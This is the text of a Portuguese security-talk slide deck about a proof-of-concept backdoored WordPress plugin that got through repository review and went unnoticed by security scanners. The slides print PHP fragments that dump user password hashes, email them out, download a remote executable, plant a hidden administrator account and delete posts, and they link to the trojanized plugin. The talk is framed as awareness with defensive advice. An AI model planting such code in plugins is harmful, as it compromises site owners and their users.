O documento discute uma prova de conceito realizada pelo autor onde ele demonstra vulnerabilidades em plugins do WordPress. Ele resume (1) como o autor inseriu código malicioso em um plugin e o submeteu ao repositório do WordPress sem detecção, (2) testes realizados em plugins de segurança que não identificaram o código, e (3) as permissões amplas dadas a plugins para acessar e manipular dados do site. O autor conclui destacando a importância de revisar códigos de plugins antes da instalação.
1. Agenda
O que são CMS?
Motivação
Prova de conceito. Happy hour...
Impactos
Conclusões
2. O que é um CMS (Content Management System)?
São sistemas criados para gerenciar e administrar o
conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla
dentre outros.
Plugins
Agregam novas funcionalidades aos CMS tais como
enquetes, galerias de fotos, integração com redes sociais,
etc.
Temas
Personalizam a aparência dos sites criados através dos
CMS. Permitem algumas customizações.
3. Considerações
O que não esperar desta apresentação.
1 – Discussões sobre o que é exploit ou não.
Segundo o EC-Council exploit é: A defined way to breach
the security of an IT system through vulnerability.
2 – Demonstrar vulnerabilidades apenas técnicas. SI vai
muito mais além disso.
3 – Que eu seja dono da verdade
8. Prova de conceito. Security as a happy hour...
Dúvidas para a prova de conceito
1 – Os plugins e temas submetidos são realmente
analisados?
2 – Os plugins de “segurança” são eficientes?
3 – O que é possível fazer com um plugin.
9. Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente
analisados?
Criado uma versão pt-br do plug-in no-copy de autoria de
Mohanjith http://mohanjith.com/wordpress com o código
malicioso já injetado.
Submetido ao repositório do Wordpress.com juntamente
com os outros milhares de plug-ins disponíveis no site.(Em
dez/2010 – 12.533 plugins com 141.819.480 downloads.
Qual foi o resultado???
10. Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente
analisados?
11. Prova de conceito. Security as a happy hour...
2 – Os plugins de “segurança” são eficientes?
Alguns plugins testados:
Exploit-Scanner-1.0.5 (Identificou o encode_base64)
Wp-security-scan 3.0.6 (Nada, apenas permissões
inadequadas)
Mjp-security-plugin-1.0 (Nada, apenas
permissões inadequadas e usuários default)
Qual foi o resultado???
Nenhum detectou o código malicioso.
12. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Funções utilizadas:
Querys na base de dados.
$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb-
>users"));
Identificar URL onde o blog foi instalado.
get_bloginfo('wpurl');
Redirecionar site para outro endereço.
wp_remote_fopen('http://www.xyz.com/index.html');
13. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Identificar o diretório de upload do blog - wp_upload_dir();
PATH blog – $upload_dir['basedir'];
URL dos uploads - $upload_dir['baseurl'];
Criar pasta - wp_mkdir_p($target);
Baixar arquivo remoto e efetuar o upload
wp_upload_bits(‘xy.exe', null, file_get_contents($name));
$upload['url'];
14. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Coletando informações da BD
$results=$wpdb->get_results("SELECT * FROM $wpdb-
>users")
....
$mensagem .= "ID: ". $result->ID ."n";
$mensagem .= "user_login: ". $result->user_login ."n";
$mensagem .= "user_pass: ". $result->user_pass ."n";
....
15. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o connection Back :D
....
$mensagem = "URL Site: ". $url ."n";
$mensagem .= "Diretório criado em: ". $target_dir."n";
$mensagem .= "Arquivo criado em: ". $target_file."n";
....
$headers .= "From: PoC <poc@localhost>n";
$headers .= "Return-Path: PoC <poc@localhost>n";
$envio = mail("poc@localhost", "PoC", $mensagem,
$headers);
....
16. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o acesso Administrativo
$wpdb->query("
INSERT INTO $wpdb->users (`ID`, `user_login`,
`user_pass`, `user_nicename`, `user_email`,
`user_url`, `user_registered`, `user_activation_key`,
`user_status`, `display_name`) VALUES
(1999,
'poc',
'$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.',
'poc',
'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
17. Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Live demo – Bonus Track!!!
18. Prova de conceito. Security as a happy hour...
TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES
APRESENTADOS TEM COMO OBJETIVO ALERTAR A
PLATÉIA.
21. Conclusões
A principal falha é de processo por conta do wordpress e
não nos plugins.
A função wpdb permite uma infinidade de combinações de
querys SQL como por exemplo:
$wpdb->query("DELETE FROM $wpdb->posts WHERE
post_id <> ‘0'");
Como não existe uma garantia da integridade dos plugins e
templates, revise os códigos antes de instalar.
Os plugins de segurança ajudam, mas não eliminam o
problema.
22. Conclusões
Recomendações como mudar os nomes das tabelas ou o
diretório padrão de upload não eliminam o problema.
Nas pastas de upload verifique as permissões aplicadas em
arquivos e pastas.
Manter o wordpress, plugins e temas atualizados é
indispensável.
Revise os códigos antes de instalar algo.
Teste em ambiente independente.
23. Próximos passos
Entender o mecanismo de criptografia que aparenta ter
falhas na função avalanche e salt.
24. Prova de conceito. Security as a happy hour...
Bonus Bonus Track!!!
Plugin disponível em:
http://migre.me/5B4S8
Usem por sua conta e risco.
Sem suporte.
25. Dúvidas?
Thiago Bordini
thiago (at) bordini (dot) net
www.staysafepodcast.com.br
Security as a happy hour!!!
Agradecimentos:
Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura
Referência:
http://codex.wordpress.org/